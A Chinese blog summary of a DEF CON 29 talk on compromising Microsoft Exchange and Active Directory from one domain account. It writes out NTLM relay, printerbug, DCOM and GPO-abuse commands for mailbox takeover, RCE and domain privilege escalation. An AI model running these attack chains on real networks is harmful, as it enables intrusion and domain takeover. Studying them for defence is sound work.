本文是对defcon会议 One Domain Account For More Than Exchange Server RCE的简单解读(复制粘贴),pdf地址:
https://media.defcon.org/DEF%20CON%2029/DEF%20CON%2029%20presentations/Tianze%20Ding%20-%20Vulnerability%20Exchange%20-%20One%20Domain%20Account%20For%20More%20Than%20Exchange%20Server%20RCE.pdf
视频地址:https://www.youtube.com/watch?v=7h38rI8KT30
推荐一波该议题,给类组合拳。
议题速览
1、exchange攻击面总览
2、从域认证到Mailbox接管
3、从域认证到exchange rce
4、横向移动、域提权
议题部分
exchange的研究意义这里就不多说了,用户多、权限高,全球设备多
而且再域内拥有较高权限,有着拿下exchange就拿下域的说法,且在安装exchange默认的组具有writeacl权限,可进行各类组合攻击,但这类权限已被在2019年修复。
exchange的架构如下
已被攻陷的部分如下
从域认证到Mailbox接管
在exchange中,提供了各类导入、导出等指定路径的功能,而该路径为UNC路径,
而有过相关基础的就知道,UNC路径可获取到目标的认证消息,默认为机器账户的凭据
而这里便要提到ntlm relay攻击了,议题也对该攻击进行了简单介绍
那我们还需要知道那个exchange接口支持ntlm才能进行此类攻
以及一个EPA的概念
但exchange默认EPA是不会开启的。下面就是找一个relay的接口,就可以进行我们的攻击了,这里选择的EWS,EWS具有下面功能
然后配合打印机漏洞便可进行攻击,攻击链如下:
需要的工具:
https://github.com/quickbreach/ExchangeRelayX
https://github.com/dirkjanm/krbrelayx/
https://github.com/SecureAuthCorp/impacket/blob/master/examples/exchanger.py
命令:
exchangeRelayx.py -t exchange2 address -l 0.0.0.0
printerbug.py domain/user:password@exchange1 attackaddress
exchanger.py domain/user:password@exchange1 nspi dump-tables -name GAL
此类攻击在2021被修复。
从域认证到exchange rce
首先,exchange的机器账户默认属于本地管理员组
然后作者说了几种relay场景以及为什么不能进行relay
然后作者发现可以使用DCOM得MSRPC进行攻击
选中的DCOM对象为
MMC20.Application (49B2791A-B1AE-4C90-9B8E-E860BA07F89)
攻击链如下
工具:
https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py
命令:
ntlmrelayx.py -t dcom://exchange2 -smb2support
printerbug.py domain/user:password@exchange1 attackaddress
横向移动、域提权
横向移动
作者给的图以及很明了了,有一个Exchange Trusted Subsystem组成员权限的前提下,便可以利用GPO实现对指定用户(域管除外)的rce。
工具:
https://github.com/Dliv3/SharpGPO
https://github.com/FSecureLABS/SharpGPOAbuse
命令:
net group "Exchange Trusted Subsystem" attacker /add /domain //将指定用户加的高权限组
net group "Group Policy Creator Owners" attacker /add /domain //将指定用户加的高权限组
SharpGPO.exe --Action NewOU --OUName "EvilOU" //新建OU
SharpGPO.exe --Action NewGPO --GPOName "EvilGPO" //新建GPO
SharpGPO.exe --Action NewGPLink --DN "OU=EvilOU,DC=xx,DC=xx" --GPOName "EvilGPO" //OU与GPO进行链接
SharpGPOAbuse.exe --AddUserTask --TaskName "PocCalc" --Author attch --Command "cmd.exe" --Argument "/c calc.exe" --GPOName //给GPO添加任务
SharpGPO.exe --Action MoveObject --SrcDC "CN=XXX,CN=users,DC=xx,DC=xx" --DstDN "OU=EvilOU,DC=xx,DC=xx" //将指定用户移动到新建的OU中
域提权
原理跟上面类似,只是把用户改成了机器
工具:
https://github.com/Dliv3/SharpGPO
https://github.com/FSecureLABS/SharpGPOAbuse
命令:
net group "Exchange Trusted Subsystem" attacker /add /domain //将指定用户加的高权限组
net group "Group Policy Creator Owners" attacker /add /domain //将指定用户加的高权限组
SharpGPO.exe --Action NewOU --OUName "EvilOU" //新建OU
SharpGPO.exe --Action NewGPO --GPOName "EvilGPO" //新建GPO
SharpGPO.exe --Action NewGPLink --DN "OU=EvilOU,DC=xx,DC=xx" --GPOName "EvilGPO" //OU与GPO进行链接
SharpGPOAbuse.exe --AddUserTask --TaskName "PocCalc" --Author attch --Command "cmd.exe" --Argument "/c calc.exe" --GPOName
SharpGPO.exe --Action MoveObject --SrcDC "CN=XXX,OU=Domain Controllers,DC=xx,DC=xx" --DstDN "OU=EvilOU,DC=xx,DC=xx" //将指定机器移动到新建的OU中
最后移除新建的OU、GPO
SharpGPO.exe --Action RemoveOU --OUName "EvilOU" //移除OU
SharpGPO.exe --Action RemoveGPO --GPOName "EvilGPO" //移除GPO
扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有